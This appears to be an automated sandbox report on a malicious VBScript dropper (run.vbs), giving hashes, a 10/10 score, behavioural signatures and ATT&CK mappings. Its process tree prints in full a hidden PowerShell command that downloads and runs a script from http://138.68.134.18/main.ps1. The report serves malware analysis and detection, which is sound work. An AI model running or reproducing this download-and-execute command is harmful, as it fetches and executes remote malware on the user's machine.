666131bf5ae20a64b55a835006afae921f20fc23923aeaf0d918ebb4718f8e4e

Analysis

max time kernel
122s
max time network
125s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 06:49

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General

Target

run.vbs
Size

269B
MD5

3dba029327dfd9f7166738e4d851cb8a
SHA1

14c8f1078e934ae31a41eac643e9a1cca2ecf0c6
SHA256

666131bf5ae20a64b55a835006afae921f20fc23923aeaf0d918ebb4718f8e4e
SHA512

39585229250c8d48093fa78f5779d785efbaf41ac5829070f9316f2b95368b940f25d04f0c2a2aa4dac36c71172a9f426ed9dea01a8c7d7bbd01a7b16b943787

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://138.68.134.18/main.ps1

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	632	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
632	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	632	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 632	2080	WScript.exe	28
PID 2080 wrote to memory of 632	2080	WScript.exe	28
PID 2080 wrote to memory of 632	2080	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\run.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://138.68.134.18/main.ps1')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/632-4-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/632-5-0x0000000001EB0000-0x0000000001EB8000-memory.dmp

Filesize
32KB

Download
memory/632-6-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/632-7-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/632-8-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/632-9-0x0000000002A30000-0x0000000002AB0000-memory.dmp

Filesize
512KB

Download
memory/632-10-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download
memory/632-11-0x000007FEF5640000-0x000007FEF5FDD000-memory.dmp

Filesize
9.6MB

Download